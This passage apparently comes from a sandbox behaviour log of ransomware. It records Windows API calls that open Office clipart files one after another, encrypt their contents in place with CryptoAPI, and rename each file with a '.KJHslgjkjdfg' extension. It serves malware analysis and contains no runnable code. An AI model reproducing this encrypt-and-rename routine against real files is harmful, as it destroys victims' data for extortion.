hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.705] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.705] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.705] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5ee4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5ee4, lpOverlapped=0x0) returned 1 [0161.707] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5ef0, dwBufLen=0x5ef0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5ef0) returned 1 [0161.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.707] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5ef0, lpOverlapped=0x0) returned 1 [0161.707] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.707] SetEndOfFile (hFile=0x114) returned 1 [0161.710] GetProcessHeap () returned 0x2a0000 [0161.710] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.710] GetProcessHeap () returned 0x2a0000 [0161.710] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.kjhslgjkjdfg")) returned 1 [0161.712] CloseHandle (hObject=0x114) returned 1 [0161.712] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0161.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.713] GetProcessHeap () returned 0x2a0000 [0161.713] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.713] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.713] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.715] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.715] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.715] GetProcessHeap () returned 0x2a0000 [0161.715] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.716] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.716] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.716] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.716] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.716] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.716] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.716] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.716] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.716] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.716] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.716] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.716] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2232, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2232, lpOverlapped=0x0) returned 1 [0161.718] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2240, dwBufLen=0x2240 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2240) returned 1 [0161.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.718] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2240, lpOverlapped=0x0) returned 1 [0161.718] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.718] SetEndOfFile (hFile=0x114) returned 1 [0161.721] GetProcessHeap () returned 0x2a0000 [0161.721] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.721] GetProcessHeap () returned 0x2a0000 [0161.721] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.kjhslgjkjdfg")) returned 1 [0161.722] CloseHandle (hObject=0x114) returned 1 [0161.723] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0161.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.724] GetProcessHeap () returned 0x2a0000 [0161.724] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.724] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.727] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.727] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.727] GetProcessHeap () returned 0x2a0000 [0161.727] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.727] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.727] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.727] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.727] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.727] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.727] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.727] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.727] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.728] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.728] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.728] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe392, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe392, lpOverlapped=0x0) returned 1 [0161.730] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe3a0, dwBufLen=0xe3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe3a0) returned 1 [0161.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.730] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe3a0, lpOverlapped=0x0) returned 1 [0161.731] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.731] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.731] SetEndOfFile (hFile=0x114) returned 1 [0161.734] GetProcessHeap () returned 0x2a0000 [0161.734] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.734] GetProcessHeap () returned 0x2a0000 [0161.734] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.kjhslgjkjdfg")) returned 1 [0161.735] CloseHandle (hObject=0x114) returned 1 [0161.735] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0161.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.736] GetProcessHeap () returned 0x2a0000 [0161.736] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.736] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.736] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.736] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0161.739] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.739] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.739] GetProcessHeap () returned 0x2a0000 [0161.739] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.739] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.739] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.739] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.740] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.740] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.740] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.740] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.740] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.740] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.740] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9114, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9114, lpOverlapped=0x0) returned 1 [0161.743] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9120, dwBufLen=0x9120 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9120) returned 1 [0161.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.743] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9120, lpOverlapped=0x0) returned 1 [0161.743] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x91f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.744] SetEndOfFile (hFile=0x114) returned 1 [0161.757] GetProcessHeap () returned 0x2a0000 [0161.757] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.757] GetProcessHeap () returned 0x2a0000 [0161.757] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.kjhslgjkjdfg")) returned 1 [0161.759] CloseHandle (hObject=0x114) returned 1 [0161.759] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0161.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.760] GetProcessHeap () returned 0x2a0000 [0161.760] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.760] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.760] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.760] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0161.764] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.764] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.764] GetProcessHeap () returned 0x2a0000 [0161.764] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.764] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.764] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.764] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.765] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.765] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.765] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.765] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.765] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.765] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.765] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1846, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1846, lpOverlapped=0x0) returned 1 [0161.766] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1850, dwBufLen=0x1850 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1850) returned 1 [0161.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.766] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 